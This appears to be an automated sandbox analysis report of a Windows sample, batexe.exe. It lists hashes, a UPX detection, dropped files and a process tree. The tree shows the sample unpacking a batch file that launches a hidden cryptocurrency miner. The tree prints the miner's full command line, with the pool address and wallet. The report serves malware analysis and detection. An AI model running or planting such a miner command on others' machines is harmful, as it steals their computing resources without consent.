73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
295s
max time network
299s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
11/02/2024, 19:11

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3216	b2e.exe
5004	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
5004	cpuminer-sse2.exe
5004	cpuminer-sse2.exe
5004	cpuminer-sse2.exe
5004	cpuminer-sse2.exe
5004	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4988-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4988 wrote to memory of 3216	4988	batexe.exe	73
PID 4988 wrote to memory of 3216	4988	batexe.exe	73
PID 4988 wrote to memory of 3216	4988	batexe.exe	73
PID 3216 wrote to memory of 4792	3216	b2e.exe	74
PID 3216 wrote to memory of 4792	3216	b2e.exe	74
PID 3216 wrote to memory of 4792	3216	b2e.exe	74
PID 4792 wrote to memory of 5004	4792	cmd.exe	77
PID 4792 wrote to memory of 5004	4792	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4988
- C:\Users\Admin\AppData\Local\Temp\CE4C.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\CE4C.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\CE4C.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3216
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\D39C.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4792
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5004

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\CE4C.tmp\b2e.exe

Filesize
384KB

MD5
3c0bec088d86bb620c8b42308d6098b3

SHA1
f486f2b80f76da0966fb3ccbc33fb96a4f890835

SHA256
1dfda8d76528af8231198a0ad4cbb09b05155c5e35f565ca78f81db527841d07

SHA512
bc4a62dacaf7990d21cc1bc04412acdd80659371fb4205065e0e917885076be8615d766f6640683642603c1c0e551efde0236acb3d6a772dc1af263cb1627414

Download Submit
C:\Users\Admin\AppData\Local\Temp\CE4C.tmp\b2e.exe

Filesize
9.1MB

MD5
b4bb3dbc7760dc304a726df1c20f54ab

SHA1
a9abc30f928d27fc96b091fd4d187aa26470f0ed

SHA256
bda420d773630c497c99cff9350b782093121029874b4b739091903f0b3e8e06

SHA512
102ae2cfdda1a7d2889dbdbfdc4f41cbc9690660401bb69a7f7a32fa714f15d12991152ee4052d105409712420bb2dddfd8f1594299af958872789f5a57986f2

Download Submit
C:\Users\Admin\AppData\Local\Temp\D39C.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.8MB

MD5
d80b98cad14ab7d8ad49bdea10bf6f78

SHA1
e36f47025de04864ea3233b946593dc46c7588dd

SHA256
87fef499779eccf1270b3f4b1b875f43ef9085178f27475affd5310df78ece4b

SHA512
bc5b18eca17a407e1eb233ebd14921a3150e77362ee337dbdb730fd4462e836553f5eefa6c484e1dadcf52e6fc2683dab7b9e2b2182d9b5fa939e48dbc6a8688

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.7MB

MD5
6a77f77e12e8001f7cd55a43a6647624

SHA1
2c4ca827787153247df11af201d8f1b1b412d127

SHA256
aa70ef5a2ff2c2e463d2f6497c61618a1b126dd03f5eba72cd7561180a03689e

SHA512
fb3d0759a1285f29fe1ae3d045df76dd07303b9b9f97632b849f5e2b2aa4b141f3ffd8692a0ffdff19adc7f517b4e2dc8c005f30f2d1f74718e28fcba7e8922a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
192KB

MD5
8c933a591c8d0c1fec1da393587d09c9

SHA1
65f4672c0e0a6a20436fbaba57dac8c1a5fc5e51

SHA256
c22ca427c0e65a0bb3e011afeba5244dd5a6e9c0327cfc7d15c4875083206b10

SHA512
96b84267fd9b7c5587c74e30d5f647acabbf6b09feac19784de4e046619fcae78f2e6aa98eb7f06fe13197bfd9207b9044b09d5248480421ceb23cb01d511881

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.7MB

MD5
1e9f85c2f0775fad9062c4353b786616

SHA1
6022d9392d840ca887e54b25822fcdd33da85c71

SHA256
e12062782760feb5983ef38a672d759883368d4fa517e33401e76424651a5849

SHA512
7077d4277e97c174a49d4d5e94a42934dbbdcfc84ae568855d30af5df26f3d8834164a4bc2f8a776ccc6f9262fe100d6af22c9790caf39459057f58da2991e8b

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.9MB

MD5
952cf9c1c9be72c2375e13cf518f1eb8

SHA1
12e133ab6e333726ca2b047d8b0f44db463ff0de

SHA256
1d21d4eff55eb52c29c48cbd3f68942f53b5d7f9b84cd2e5c100d2b792417c19

SHA512
c4ccb8985b9a81e03624f1fc4326ed696a16418754aeb55435e98cd9ccb42b55c7207c082803da5b145fdb68108e53bd0b9946e6b8380a58e0306f79da590631

Download Submit
memory/3216-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3216-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4988-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/5004-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/5004-42-0x0000000077A60000-0x0000000077AF8000-memory.dmp

Filesize
608KB

Download
memory/5004-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/5004-44-0x00000000010C0000-0x0000000002975000-memory.dmp

Filesize
24.7MB

Download
memory/5004-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5004-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5004-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5004-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5004-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5004-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5004-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5004-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5004-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5004-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download